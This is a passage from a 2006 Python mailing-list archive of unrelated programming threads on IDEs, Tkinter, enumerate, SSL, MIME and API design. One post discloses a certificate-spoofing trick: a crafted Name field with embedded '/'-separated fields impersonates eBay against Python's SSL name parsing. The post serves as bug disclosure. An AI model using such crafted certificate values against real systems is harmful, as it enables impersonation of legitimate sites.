python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From daigno at gmail.com  Fri Oct 27 09:51:05 2006
From: daigno at gmail.com (=?ISO-8859-1?Q?=C9ric_Daigneault?=)
Date: Fri, 27 Oct 2006 09:51:05 -0400
Subject: PyDev + Eclipse (Was: Re: What's the best IDE?)
Message-ID: <45420EC9.5030101@gmail.com>

olive wrote:

> > Michael B. Trausch wrote:
> > 
>   
>> >> Yep.  Still does it.
>>     
> > 
> > I'm running PyDev 1.2.4 without completion problem so far.
> > 
> > Are you up to date ?
> > 
> > Maybe you should install the latest from scratch.
> > 
>   
>
>Yep, I am up to date.  As I said, I am totally confused.
>
>	-- Mike

I run the latest pydev on both windows and linux...  The setup is excatcly the same (on the eclipse, path setup and all)  

My windows setup is much better at auto-complete that the linux setup...  In linux, other than with self, I seldom get auto complete on other classes.  In windows it sometimes can figure out to what class belong the instance and propose appropriate choices...

Caus of my present workload I gave up trying to make it work...  

E :D.




From codecraig at gmail.com  Wed Oct 18 12:10:39 2006
From: codecraig at gmail.com (abcd)
Date: 18 Oct 2006 09:10:39 -0700
Subject: Image.draft -- what are the modes that I can use?
In-Reply-To: <1161187683.319678.174370@m7g2000cwm.googlegroups.com>
References: <1161178409.276973.286990@k70g2000cwa.googlegroups.com>
	<1161179376.827555.239810@i3g2000cwc.googlegroups.com>
	<mailman.687.1161179634.11739.python-list@python.org>
	<1161181585.245045.41680@b28g2000cwb.googlegroups.com>
	<1161182452.235096.127750@i42g2000cwa.googlegroups.com>
	<1161187683.319678.174370@m7g2000cwm.googlegroups.com>
Message-ID: <1161187839.628705.183880@m7g2000cwm.googlegroups.com>

Brett Hoerner wrote:
> Are you sure you can't use VNC?  An animated GIF based on full-screen
> grabs will be amazingly huge and have very low color quality at the
> same time.
>
> Installing VNC on Windows should take you about 30 seconds, honest.
>
> Or is this for some sort of project where you can't use anything but
> CPython software...?
> 
> Brett Hoerner


the latter.



From gnewsg at gmail.com  Mon Oct  9 08:56:10 2006
From: gnewsg at gmail.com (billie)
Date: 9 Oct 2006 05:56:10 -0700
Subject: Tkinter & systray
Message-ID: <1160398570.908401.206960@m73g2000cwd.googlegroups.com>

Hi all. I'd like to develop a GUI-based application the most portable
as possible, able to run in systray.
I think that, for portability reasons, Tkinter could be the best
choice, so I tried to google a little bit about it.
According to this :
http://mail.python.org/pipermail/python-list/2002-September/123257.html
...it seems that it's impossible (or better, it WAS impossible in
September 2002) handling this case by using Tkinter.
Four years later is there a way to make this happen?

Thanks in advance.



From matthew_j_warren at hotmail.com  Wed Oct 11 08:39:07 2006
From: matthew_j_warren at hotmail.com (MatthewWarren)
Date: 11 Oct 2006 05:39:07 -0700
Subject: Bad Code (that works) help me re-write!
In-Reply-To: <mailman.310.1160568315.11739.python-list@python.org>
References: <1160566679.286427.168840@e3g2000cwe.googlegroups.com>
	<mailman.310.1160568315.11739.python-list@python.org>
Message-ID: <1160570347.047983.232410@m7g2000cwm.googlegroups.com>


Matthew Warren wrote:
> > -----Original Message-----
> > From:
> > python-list-bounces+matthew.warren=digica.com at python.org
> > [mailto:python-list-bounces+matthew.warren=digica.com at python.o
> > rg] On Behalf Of Giles Brown
> > Sent: 11 October 2006 12:38
> > To: python-list at python.org
> > Subject: Re: Bad Code (that works) help me re-write!
> >
> > Matthew Warren wrote:
> > > I have the following piece of code,
> > <snip>
> > No doubt you will get some kind soul to suggest some things,
> > but if you
> > want really good
> > answers I think you need explain why you want this command file (as
> > opposed to using
> > say a python script itself).  Are you attempting to create a simpler
> > syntax than Python?
> > A restricted set of operations?
> >
>
> The code is from a larger project called the FatController.
>
> FatController is currently a cli based utility for administering &
> monitoring devices & applications in an enterprise environment.
>
> Users enter commands at the prompt do things such as, define a managed
> entity, execute instructions against that entity, etc
>
> The processcommand() function and the command file are my attempt at
> implementing the 'commands' that are available to the user. Rather than
> hard-code all of the syntax and commands inside the module, I wanted an
> external file to maintain the definitions of the commands available to
> the user. The idea is that users will be able to implement their own
> 'entity' modules, which FatController will import and then use to manage
> devices & applications the given entty applies to. So, at the time of
> writing the code  thought It would be a good idea to have the command
> definitions file external to the code, so and-users who write their own
> modules can also extend the cammands available to Fatcontroller for
> using those modules, if required.
>
>
>
> Matt.
>

More info.  An entity 'module' is something that creates connections to
an app/device/machine using whatever protocol, sends native commands to
that device/app/machine, and returns the result.  For example, I have
written an entity of type 'TELNET' that manages anything that you can
use telnet to connect to (hence prev. post on using twisted rather than
telnetlib) . The user could enter something like the following at the
Fatcontroller prompt;

FC:> define entity TELNET unixbox1 192.168.4.5 23 mylogin mypass

the user could then write something like;

FC:> execute unixbox1 ps -ef | grep -c crit_process

the processcommand() function and the command definition file are used
to parse/analyse the user input and pass the relevant parms to the
entity module that then defines the entity for later use/managment, or
pass the given entity command to the entity for execution, and return
of the output. Fatcontroller provides other functionality for working
with entities / groups of entities, scheduling commands to be run
against entites / groups of entities and saving / extracting / alerting
against the output.


...but really, all I'm after is a learning experience, (this whole
project is what I decided to do to learn python) and I know
processcommand() can be written in a more elegant way and that eval()
shouldnt be there, but I have no formal acquaintance with things like
parsers and the subtleties of pythons approach etc.. So I'm hoping
through deconstructing and rebulding the code I can increase my
knowledge of python and the pythonic way to do things.

Aaanyhoo, 

Ta :)

Matt.



Matt.



From python at rcn.com  Tue Oct 31 11:16:09 2006
From: python at rcn.com (Raymond Hettinger)
Date: 31 Oct 2006 08:16:09 -0800
Subject: enumerate improvement proposal
In-Reply-To: <zj01h.17562$TV3.14454@newssvr21.news.prodigy.com>
References: <zj01h.17562$TV3.14454@newssvr21.news.prodigy.com>
Message-ID: <1162311369.402803.303280@m73g2000cwd.googlegroups.com>

James Stroud wrote:
> I think that it would be handy for enumerate to behave as such:
>
> def enumerate(itrbl, start=0, step=1):
>    i = start
>    for it in itrbl:
>      yield (i, it)
>      i += step

I proposed something like this long ago and Guido has already rejected
it.  Part of the reason is that it doesn't match his mental model of
enumerate being about pairing sequence elements with their indices.
Another reason is that the syntax has more than one obvious
interpretation:

     enumerate('abcdef', 2) -->  (2, 'c'), (3, 'd'), ...
     enumerate('abcdef', 2) -->  (0, 'c'), (1, 'd'), ...
     enumerate('abcdef', 2) -->  (2, 'a'), (2, 'b'), ...

Also, the order of arguments is odd in comparison with the output order
-- this suggests a syntax like enumerate(2, 'abcdef') --> (2, 'a'), (3,
'b') ...

FWIW, it is not hard to roll-your-own with something like:

    for pagenum, page in izip(count(1), book): ...

The izip/count combination runs at C speed, matches enumerate() in its
efficiency, and is arguably clearer in expressing its intended
behavior.


Raymond



From just at xs4all.nl  Fri Oct  6 11:56:35 2006
From: just at xs4all.nl (Just)
Date: Fri, 06 Oct 2006 17:56:35 +0200
Subject: Bug in re module?
References: <1160149779.553564.9210@m7g2000cwm.googlegroups.com>
	<1160150048.211740.175620@k70g2000cwa.googlegroups.com>
Message-ID: <just-318330.17563506102006@news1.news.xs4all.nl>

In article <1160150048.211740.175620 at k70g2000cwa.googlegroups.com>,
 "Ant" <antroy at gmail.com> wrote:

> Ant wrote:
> > Look at the following minimal example:
> ... (snip example that shows non-capturing group capturing)
> 
> Note I get the same results from python versions 2.4 and 2.5.
> 

Try ?: instead of :?

Just


From fredrik at pythonware.com  Thu Oct  5 23:02:25 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 06 Oct 2006 05:02:25 +0200
Subject: printing variables
In-Reply-To: <1160102860.587127.240080@h48g2000cwc.googlegroups.com>
References: <1160102860.587127.240080@h48g2000cwc.googlegroups.com>
Message-ID: <4525C741.7070608@pythonware.com>

s99999999s2003 at yahoo.com wrote:

> say i have variables like these
> 
> var1 = "blah"
> var2 = "blahblah"
> var3 = "blahblahblah"
> var4 = "...."
> var5 = "..."..
> 
> bcos all the variable names start with "var", is there a way to
> conveniently print those variables out...

do you often (or always) treat these as a collection ?  why not just put 
the values in a list (or tuple) instead ?

</F>



From ldo at geek-central.gen.new_zealand  Sun Oct  8 23:45:00 2006
From: ldo at geek-central.gen.new_zealand (Lawrence D'Oliveiro)
Date: Mon, 09 Oct 2006 16:45:00 +1300
Subject: CGI Tutorial
References: <1159990122.487089.133950@i42g2000cwa.googlegroups.com>
	<1160071257.200774.90900@e3g2000cwe.googlegroups.com>
	<mailman.1374.1160073684.10491.python-list@python.org>
Message-ID: <egcghv$viv$3@lust.ihug.co.nz>

In message <mailman.1374.1160073684.10491.python-list at python.org>, Steve
Holden wrote:

> Credit card numbers should be encrypted in the database, of course, but
> they rarely are (even by companies whose reputations imply they ought to
> know better).

How would encryption help? They'd still have to be decrypted to be used.


From nagle at animats.com  Tue Oct 24 13:50:47 2006
From: nagle at animats.com (John Nagle)
Date: Tue, 24 Oct 2006 17:50:47 GMT
Subject: Obtaining SSL certificate info from SSL object - BUG?
In-Reply-To: <donn-D8CFAE.09590324102006@gnus01.u.washington.edu>
References: <453D95EA.1020602@animats.com>
	<donn-D8CFAE.09590324102006@gnus01.u.washington.edu>
Message-ID: <453E57E9.7010806@animats.com>

Donn Cave wrote:
> In article <453D95EA.1020602 at animats.com>,
>  John Nagle <nagle at animats.com> wrote:
> 
> 
>>     The Python SSL object offers two methods from obtaining
>>the info from an SSL certificate, "server()" and "issuer()".
>>The actual values in the certificate are a series of name/value
>>pairs in ASN.1 binary format.  But what "server()" and "issuer()"
>>return are strings, with the pairs separated by "/".  The
>>documentation at "http://docs.python.org/lib/ssl-objects.html"
>>says "Returns a string containing the ASN.1 distinguished name identifying 
>>the 
>>server's certificate.
> 
> ...
> 
>>"/O=VeriSign Trust Network/OU=VeriSign, Inc./OU=VeriSign International
>>Server CA - Class 3/OU=www.verisign.com/CPS Incorp.by Ref. LIABILITY 
>>LTD.(c)97 
>>VeriSign".
>>
>>Note that
>>
>>    "OU=Terms of use at www.verisign.com/rpa (c)00"
>>
>>with a "/" in the middle of the value field.
> 
> ...
> 
>>Is there a workaround for this?  Without rebuilding Python
>>and becoming incompatible?
> 
> 
> As a practical matter, I think it's fairly safe to assume
> there will be no values that include / in a context like
> really looks like that X.500 style distinguished name.

    Actually, we've just discovered an exploit.  By
ordering a low-level certificate with a "/" in the right
place, you can create the illusion (at least for flawed
implementations like this one) that the certificate
belongs to someone else.  Just order a certificate from
GoDaddy, enter something like this in the "Name" field

	"Myphonyname/C=US/ST=California/L=San Jose/O=eBay Inc./OU=Site
  	Operations/CN=signin.ebay.com"

and Python code will be spoofed into thinking you're eBay.

    Fortunately, browsers don't use Python code.

    The actual bug is in

	python/trunk/Modules/_ssl.c

at

	if ((self->server_cert = SSL_get_peer_certificate(self->ssl))) {
		X509_NAME_oneline(X509_get_subject_name(self->server_cert),
				  self->server, X509_NAME_MAXLEN);
		X509_NAME_oneline(X509_get_issuer_name(self->server_cert),
				  self->issuer, X509_NAME_MAXLEN);

The "X509_name_oneline" function takes an X509_NAME structure, which is
the certificate system's representation of a list, and flattens it
into a printable string.  This is a debug function, not one for use in
production code.  The SSL documentation for "X509_name_oneline" says:	

	"The functions X509_NAME_oneline() and X509_NAME_print() are legacy
	functions which produce a non standard output form, they don't handle
	multi character fields and have various quirks and inconsistencies.
	Their use is strongly discouraged in new applications."

What OpenSSL callers are supposed to do is call X509_NAME_entry_count()
to get the number of entries in an X509_NAME structure, then get each
entry with X509_NAME_get_entry().  A few more calls will obtain
the name/value pair from the entry, as UTF8 strings, which should
be converted to Python UNICODE strings.

X509_NAME_oneline() doesn't handle Unicode; it converts non-ASCII
values to "\xnn" format. Again, it's for debug output only.

So what's needed are two new functions for Python's SSL sockets to
replace "issuer" and "server".  The new functions should return
lists of Unicode strings representing the key/value pairs.
(A list is needed, not a dictionary; two strings with the same key
are both possible and common.)

The reason this now matters is that new "high assurance" certs,
the ones that tell you how much a site can be trusted, are now being
deployed, and to use them effectively, you need that info.  Support for
them is in Internet Explorer 7, so they're going to be widespread soon.
Python needs to catch up.

I'll submit a bug report.

				John Nagle
				Animats


From tejovathi.p at gmail.com  Fri Oct 13 23:12:32 2006
From: tejovathi.p at gmail.com (Teja)
Date: 13 Oct 2006 20:12:32 -0700
Subject: terminate execfile
Message-ID: <1160795552.494568.263530@k70g2000cwa.googlegroups.com>

How to terminate execfile() in the middle of its execution. Any
pointers ???
Its very urgent please........


Thanks
Teja.P



From fredrik at pythonware.com  Tue Oct 17 07:03:39 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 17 Oct 2006 13:03:39 +0200
Subject: Cannot import a module from a variable
References: <1160920129.886155.112970@b28g2000cwb.googlegroups.com><W55089226.427.12800.1@mx-extra>
	<9afea2ac0610170257p6d7cd4a9mb6ec8d09c6ec4920@mail.gmail.com>
Message-ID: <eh2dab$lfb$1@sea.gmane.org>

Tim Williams wrote:

> eval( 'reload(%s)' % modname)

reload takes a module object, not a module name.  since you need to have the
object, you might as well pass it to the reload() function.

</F> 





From fredrik at pythonware.com  Tue Oct  3 15:09:25 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 03 Oct 2006 21:09:25 +0200
Subject: Howto pass Array/Hash into Function
In-Reply-To: <3ACF03E372996C4EACD542EA8A05E66A061582@mailbe01.teak.local.net>
References: <mailman.1148.1159867444.10491.python-list@python.org>	<"11598677
	55.636060.48790"@m7g2000cwm.googlegroups.com>	<mailman.1149.1159868507.10491.python-list@python.org>	<1159868807.385239.307390@h48g2000cwc.googlegroups.com>	<eftjpo$3qh$1@sea.gmane.org>
	<3ACF03E372996C4EACD542EA8A05E66A061582@mailbe01.teak.local.net>
Message-ID: <efuch5$10f$2@sea.gmane.org>

Wijaya Edward wrote:

> Thanks for your understanding Steve.
>  
> Furthermore, my related concern
> is how does Python actually  deal with 'reference' in Perl.
> But now, it is clear to me now that Python simply treats
 > them as object.

sounds like you really need to reset your brain:

     http://effbot.org/zone/python-objects.htm

</F>



From martin at v.loewis.de  Wed Oct  4 15:52:09 2006
From: martin at v.loewis.de (=?ISO-8859-15?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 04 Oct 2006 21:52:09 +0200
Subject: Python to use a non open source bug tracker?
In-Reply-To: <gzJUg.134225$zy5.1829430@twister1.libero.it>
References: <22pUg.132825$zy5.1820633@twister1.libero.it><eft78f$put$1@sea.gmane.org>
	<mailman.1146.1159866456.10491.python-list@python.org>
	<gzJUg.134225$zy5.1829430@twister1.libero.it>
Message-ID: <452410E9.9040403@v.loewis.de>

Giovanni Bajo schrieb:
> Frankly, I don't give a damn about the language the application is coded in

That's probably one of the reasons why you aren't a member of the Python
Software Foundation. Its mission includes to publicize, promote the
adoption of, and facilitate the ongoing development of Python-related
technology and educational resources. So the tracker being written in
Python is quite of importance.

Regards,
Martin


From hanumizzle at gmail.com  Wed Oct 11 05:21:17 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Wed, 11 Oct 2006 05:21:17 -0400
Subject: How to write Smart Python programs?
In-Reply-To: <egicci$jtm$1@sea.gmane.org>
References: <1160535792.373959.42930@i42g2000cwa.googlegroups.com>
	<452cae13$0$24783$426a74cc@news.free.fr>
	<463ff4860610110149u740a967btbe3822d257b5806e@mail.gmail.com>
	<egicci$jtm$1@sea.gmane.org>
Message-ID: <463ff4860610110221v3575d30ftef3b6025dfb6c7e5@mail.gmail.com>

On 10/11/06, Fredrik Lundh <fredrik at pythonware.com> wrote:
> Theerasak Photha wrote:
>
>   >> 2/ functions that returns a status code and modify their arguments.
> >
> > Argument modification for lists with one item is *sometimes* used to
> > emulate full lexical closure. (or at least that's what the folks on
> > freenode #python told me)
>
> sounds like they (or you) are confusing "arguments" with "free
> variables", though.  here's an example of the latter:

This is (kind of) what we were talking about:

http://www.c2.com/cgi/wiki?ClosuresThatWorkAroundFinalLimitation

-- Theerasak


From fredrik at pythonware.com  Thu Oct  5 12:19:17 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 05 Oct 2006 18:19:17 +0200
Subject: What value should be passed to make a function use the default
	argument value?
In-Reply-To: <slrneia6c4.55m.apardon@rcpc42.vub.ac.be>
References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>	<7xwt7gqwb3.fsf@ruckus.brouhaha.com>	<slrnei7235.55m.apardon@rcpc42.vub.ac.be>	<7xac4cpefr.fsf@ruckus.brouhaha.com>	<slrnei73f7.55m.apardon@rcpc42.vub.ac.be>	<eg03un$se8$1@news.albasani.net>	<slrnei75t2.55m.apardon@rcpc42.vub.ac.be>	<7xhcyk2u1z.fsf@ruckus.brouhaha.com>	<eg17jd$gsr$1@news.albasani.net>	<mailman.1295.1159996151.10491.python-list@python.org>
	<slrneia6c4.55m.apardon@rcpc42.vub.ac.be>
Message-ID: <eg3ba4$ccn$1@sea.gmane.org>

Antoon Pardon wrote:

> The first module I looked in to check this, it wasn't true. In the Queue
> Module is isn't explicitly written that maxsize is a keyword argument yet
> Queue.Queue(maxsize=9) works just fine.

it's not a matter whether it works fine in any given version of Python, 
it's a matter of whether it's *guaranteed* to work.

</F>



From sjmachin at lexicon.net  Fri Oct  6 18:00:56 2006
From: sjmachin at lexicon.net (John Machin)
Date: 6 Oct 2006 15:00:56 -0700
Subject: dictionary containing a list
In-Reply-To: <1160170679.625037.300000@c28g2000cwb.googlegroups.com>
References: <1160170679.625037.300000@c28g2000cwb.googlegroups.com>
Message-ID: <1160172055.962140.180110@b28g2000cwb.googlegroups.com>


Ben wrote:
> Hello...
>
> I have set up a dictionary into whose values I am putting a list. I
> loop around and around filling my list each time with new values, then
> dumping this list into the dictionary. Or so I thought...
>
> It would appear that what I am dumping into the dictionary value is
> only a pointer to the original list, so after all my iterations all I
> have is a dictionary whose every value is equal to that of the list the
> final time I looped around :-(
>
> Is there a way to acheive what I was attempting ? I have done something
> almost identical with classes  in a list before, and in that case a new
> instance was created for each list entry...
>
>
> I hope this makes some sense, and doesn't seem to head bangingly
> simple...
>

Do you consult your physician over a video link while wearing a ninja
costume down an unlit coal mine at midnight?

Please consider the possibility that your description of what you think
your code might be doing is not enough for diagnosis.

You may need to supply:
(1) a listing of your code
(2) a small amount of input data
   e.g. [(1, 'foo'), (42, 'bar'), (1, 'zot')]
(3) the output you expect from that input:
   e.g. {1: ['foo', 'zot'], 42: ['bar']}

Cheers,
John



From slawomir.nowaczyk.847 at student.lu.se  Sat Oct 14 10:24:39 2006
From: slawomir.nowaczyk.847 at student.lu.se (Slawomir Nowaczyk)
Date: Sat, 14 Oct 2006 16:24:39 +0200
Subject: IDE that uses an external editor?
In-Reply-To: <17711.51000.610108.986578@montanaro.dyndns.org>
References: <17711.51000.610108.986578@montanaro.dyndns.org>
Message-ID: <20061014121444.C3D0.SLAWOMIR.NOWACZYK.847@student.lu.se>

On Fri, 13 Oct 2006 12:04:56 -0500
skip at pobox.com wrote:

#> One thing that's kept me from even looking at IDEs is that to the
#> best of my knowledge none of them will integrate properly with
#> external editors like Emacs or vi.

To the best of *my* knowledge, Emacs integrates pretty well with Emacs,
and I suppose vi integrates pretty well with vi... Or do you mean
something else by "IDE"?

PS. Good sigmonster, have a cookie ;)

-- 
 Best wishes,
   Slawomir Nowaczyk
     ( Slawomir.Nowaczyk at cs.lth.se )

Vi is to emacs as masturbation is to making love:
effective and always available but probably not your first choice.



From nicogrubert at gmail.com  Tue Oct 31 10:12:36 2006
From: nicogrubert at gmail.com (Nico Grubert)
Date: Tue, 31 Oct 2006 16:12:36 +0100
Subject: PIL on Python 2.4 - ImportError: No module named _imagingft
Message-ID: <454767E4.5070600@gmail.com>

Dear list members,

I have installed Python 2.4.3. and PIL 1.1.5. on a Suse Linux 10 64 Bit 
machine.

If I try

  >>> import _imagingft

I get this error:
   ImportError: No module named _imagingft

Did I miss something?
On my 32 But Linux with Python 2.3.5. everything works fine.

Kind regards,
Nico


From sjmachin at lexicon.net  Tue Oct  3 02:02:56 2006
From: sjmachin at lexicon.net (John Machin)
Date: 2 Oct 2006 23:02:56 -0700
Subject: PATCH: Speed up direct string concatenation by 20+%!
In-Reply-To: <1159853705.946422.70220@b28g2000cwb.googlegroups.com>
References: <1159495643.213830.289620@m7g2000cwm.googlegroups.com>
	<451CD389.3010800@jessikat.plus.net>
	<mailman.932.1159533269.10491.python-list@python.org>
	<1159540482.924744.164420@k70g2000cwa.googlegroups.com>
	<mailman.948.1159542291.10491.python-list@python.org>
	<1159545255.339364.299020@k70g2000cwa.googlegroups.com>
	<mailman.955.1159545644.10491.python-list@python.org>
	<1159546522.251704.301530@b28g2000cwb.googlegroups.com>
	<mailman.956.1159547188.10491.python-list@python.org>
	<1159552048.354214.198180@e3g2000cwe.googlegroups.com>
	<mailman.991.1159599674.10491.python-list@python.org>
	<1159762765.943691.139690@b28g2000cwb.googlegroups.com>
	<mailman.1072.1159766782.10491.python-list@python.org>
	<1159774531.004015.7390@e3g2000cwe.googlegroups.com>
	<1159853705.946422.70220@b28g2000cwb.googlegroups.com>
Message-ID: <1159855375.951848.195790@m73g2000cwd.googlegroups.com>


Larry Hastings wrote:

>
> John Machin wrote:
> > try benchmarking this ... well "style" may not be the appropriate word
>
> Running this under Python 2.5 release:
>     x = []
>     xappend = x.append
>     for i in xrange(10000000):
>         xappend("a")
>     y = "".join(x)
> took 3281ms.
>
> Running this under my patched Python 2.5:
>     x = ""
>     xappend = x.__add__
>     for i in xrange(10000000):
>         xappend("a")
>     y = "".join(x)

Don't you mean y = x[1] or something like that? y = "".join(x) looks
like a copy-paste error.

Playing the devil's advocate here: 10M adds each of a single byte
followed by 1 render doesn't seem very typical. How about 10 adds each
of 10 bytes followed by a render, then repeat that 10 M times.

Another question:
How does this:
  buff = ""
  for datum in data:
     if buff:
          buff += "|"
     buff += str(datum)
compare with
  buff = "|".join(str(datum) for datum in data)
?

Some of us have Windows boxes and don't have the necessary MS compiler.
Is there any chance of someone making a 2.5+patch Windows binary?

Cheers,
John


> took 3343ms.
> 
> 
> /larry/



From ask at me  Thu Oct  5 17:52:41 2006
From: ask at me (alf)
Date: Thu, 05 Oct 2006 17:52:41 -0400
Subject: MIMEMultipart() and CRLF vs RFC  2046
Message-ID: <CP-dnQFV0ZUrFLjYnZ2dnUVZ_rGdnZ2d@comcast.com>

Hi,

according to rfc2046, line breaks in MIME are CRLF. However python just 
uses LF like in the following example:


from email.MIMEMultipart import MIMEMultipart
from email.MIMEText import MIMEText

msg = MIMEMultipart()
msg['Subject'] = 'Our family reunion'
msg['From'] = 'a at a.b'
msg['To'] = 'c at x.y'
msg.epilogue = ''

msg.attach(MIMEText('aaaaaaaaaaaaaaaaaaaaaaaa'))

print `msg.as_string()`


gives:
'Content-Type: multipart/mixed; 
boundary="===============1018679223=="\nMIME-Version: 1.0\nSubject: Our 
family reunion\nFrom: a at a.b\nTo: 
c at x.y\n\n--===============1018679223==\nContent-Type: text/plain; 
charset="us-ascii"\nMIME-Version: 1.0\nContent-Transfer-Encoding: 
7bit\n\naaaaaaaaaaaaaaaaaaaaaaaa\n--===============1018679223==--\n'



Any insight why does it not stick to standard. I also checked parsing 
and it seems to accept both CRLF and LF.

-- 
Thx, alfz1


From mail at microcorp.co.za  Tue Oct 17 01:29:01 2006
From: mail at microcorp.co.za (Hendrik van Rooyen)
Date: Tue, 17 Oct 2006 07:29:01 +0200
Subject: A friendlier,
	sugarier lambda -- a proposal for Ruby-like blocksin python
References: <1160801649.828388.319880@i3g2000cwc.googlegroups.com><7xhcy72xm1.fsf@ruckus.brouhaha.com><1160811657.449049.78940@m73g2000cwd.googlegroups.com><1160843099.978973.235560@k70g2000cwa.googlegroups.com><45335619$0$12918$426a34cc@news.free.fr><1160992539.451117.143310@i42g2000cwa.googlegroups.com>
	<4533cb98$0$15235$426a74cc@news.free.fr>
Message-ID: <01b701c6f1b3$07eab4a0$03000080@hendrik>

 "Bruno Desthuilliers" <onurb at xiludom.gro> wrote:
> Kay Schluehr wrote:
> > Bruno Desthuilliers wrote:
> >
> >> Just for the record : Ruby's code-blocks (closures, really) come from
> >> Smalltalk, which is still the OneTrueObjectLanguage(tm).
> >
> > IsTheOneTrueObjectLanguage(tm)ReallyCamelCased?
> >
> ThatsAGoodQuestion.
>
>
DoYouMeanIsTheIdentifierTheOneTrueObjectLanguage(tm)CamelCasedOrIsTheObjectObjec
tBoundToIdentifierTheOneTrueObjectLanguage(tm)CamelCasedOrYetSomethingElse?

IAmGladToSeeThisSterlingAttemptAtMinimisingTheEncodingSpaceAsTheSpaceCharacterNe
verImpartedAnyInformationAnywayHendrik



From Setash at gmail.com  Wed Oct 18 18:41:10 2006
From: Setash at gmail.com (Setash)
Date: 18 Oct 2006 15:41:10 -0700
Subject: Classes and Functions - General Questions
In-Reply-To: <45369f69$0$21745$9b4e6d93@newsspool3.arcor-online.net>
References: <1161200542.603408.94630@k70g2000cwa.googlegroups.com>
	<45369f69$0$21745$9b4e6d93@newsspool3.arcor-online.net>
Message-ID: <1161211270.662231.114310@k70g2000cwa.googlegroups.com>

Andreas, and everyone else - thank you! I do appreciate the information
and the quick responses, this single post with <10 replies has
significantly helped my understanding level.

Thanks again!



From vatamane at gmail.com  Sun Oct 29 14:50:30 2006
From: vatamane at gmail.com (Nick Vatamaniuc)
Date: 29 Oct 2006 11:50:30 -0800
Subject: Reverse function python? How to use?
References: <1162149971.025963.144720@e64g2000cwd.googlegroups.com>
Message-ID: <1162151430.353400.280950@f16g2000cwb.googlegroups.com>

Use the list's reverse() function. The only thing to keep in mind is
that it will reverse in-place.
Here is an example:
--------------------------------
In [1]: l=[1,2,3]

In [2]: l.reverse()

In [3]: l
Out[3]: [3, 2, 1]
------------------------------------
So you could accumulate your results in a list then apply reverse() on
it.

Hope this helps,
Nick Vatamaniuc


frankie_85 wrote:
> Ok I'm really lost (I'm new to python) how to use the reverse function.
>
>
> I made a little program which basically the a, b, c, d, e which I have
> listed below and basically I want it th result to be printed reverse so
> instead doing "print e, d, c, b, a", I'd like to use the reverse
> function
>
> Can someone give pointersguidelines / on how to do it?
>
> [code]
>     a = str(math.sqrt(math.fabs(x1)) + 5*((math.pow(x1,3))))
>     b = str(math.sqrt(math.fabs(x2)) + 5*((math.pow(x2,3))))
>     c = str(math.sqrt(math.fabs(x3)) + 5*((math.pow(x3,3))))
>     d = str(math.sqrt(math.fabs(x4)) + 5*((math.pow(x4,3))))
>     e = str(math.sqrt(math.fabs(x5)) + 5*((math.pow(x5,3))))
> [/code]
> 
>  Thanks in advance



From JohnRoth1 at jhrothjr.com  Wed Oct  4 11:11:38 2006
From: JohnRoth1 at jhrothjr.com (John Roth)
Date: 4 Oct 2006 08:11:38 -0700
Subject: string: __iter__()?
In-Reply-To: <7e8bf$452385eb$506d0b9f$12642@news.chello.at>
References: <7e8bf$452385eb$506d0b9f$12642@news.chello.at>
Message-ID: <1159974698.293746.256030@c28g2000cwb.googlegroups.com>


mrquantum wrote:
> Hello!
>
> Just for curiosity i'd like to know why strings don't support the
> iteration protocoll!? Is there some deeper reason for this?
>
> >>> hasattr('SomeString', '__iter__')
> False
>
> In Python 2.5 it's actually simple to obtain one:
>
> >>> myIter = (c for c in 'SomeString')
> >>> myIter.next()
> 'S'
>
> Thanks for info!
>
> Chris

The iter() builtin creates an iterator for any
object that obeys the sequence protocol.
Since strings obey the sequence protocol there
is no real advantage to adding yet another
protocol to an already very fat object.

This  does, however, mean that testing
for the presence of __iter__ is incomplete;
one also has to test for __getattr__ if the
object doesn't have an __Iter__ method.

Depending on  your program logic, it
may be easier to just use iter() and
handle the exception if it fails.

See PEP 234 for a discussion of the
reasons for doing it this way.

John Roth



From kay.schluehr at gmx.net  Mon Oct  2 16:50:55 2006
From: kay.schluehr at gmx.net (Kay Schluehr)
Date: 2 Oct 2006 13:50:55 -0700
Subject: Pythonic API design: detailed errors when you usually don't care
References: <1159807538.579131.198670@e3g2000cwe.googlegroups.com>
Message-ID: <1159822255.422699.10290@e3g2000cwe.googlegroups.com>

Simon  Willison wrote:
> Hi all,
>
> I have an API design question. I'm writing a function that can either
> succeed or fail. Most of the time the code calling the function won't
> care about the reason for the failure, but very occasionally it will.
>
> I can see a number of ways of doing this, but none of them feel
> aesthetically pleasing:
>
> 1.
>
> try:
>   do_something()
> except HttpError:
>   # An HTTP error occurred
> except ApplicationError:
>   # An application error occurred
> else:
>   # It worked!
>
> This does the job fine, but has a couple of problems. The first is that
> I anticipate that most people using my function won't care about the
> reason; they'll just want a True or False answer. Their ideal API would
> look like this:
>
> if do_something():
>   # It succeeded
> else:
>   # It failed
>
> The second is that the common path is success, which is hidden away in
> the 'else' clause. This seems unintuitive.
>
> 2.
>
> Put the method on an object, which stores the reason for a failure:
>
> if obj.do_something():
>   # It succeeded
> else:
>   # It failed; obj.get_error_reason() can be called if you want to know
> why
>
> This has an API that is closer to my ideal True/False, but requires me
> to maintain error state inside an object. I'd rather not keep extra
> state around if I don't absolutely have to.
>
> 3.
>
> error = do_something()
> if error:
>   # It failed
> else:
>   # It succeeded
>
> This is nice and simple but suffers from cognitive dissonance in that
> the function returns True (or an object evaluating to True) for
> failure.
>
> 4.
>
> The preferred approach works like this:
>
> if do_something():
>   # Succeeded
> else:
>   # Failed
>
> BUT this works too...
>
> ok = do_something()
> if ok:
>   # Succeeded
> else:
>   # ok.reason has extra information
>   reason = ok.reason
>
> This can be implemented by returning an object from do_something() that
> has a __nonzero__ method that makes it evaluate to False. This solves
> my problem almost perfectly, but has the disadvantage that it operates
> counter to developer expectations (normally an object that evaluates to
> False is 'empty').
>
> I know I should probably just pick one of the above and run with it,
> but I thought I'd ask here to see if I've missed a more elegant
> solution.
>
> Thanks,
>
> Simon

As I see it this can become an architectural concern. If callers care
"occasionally" which precision or care is actually required? Is it just
that a developer wants to see a stack-trace for debugging purposes?
Here logging might be adaequate while otherwise if application logics
is dependent it might be helpfull to define a contract between caller
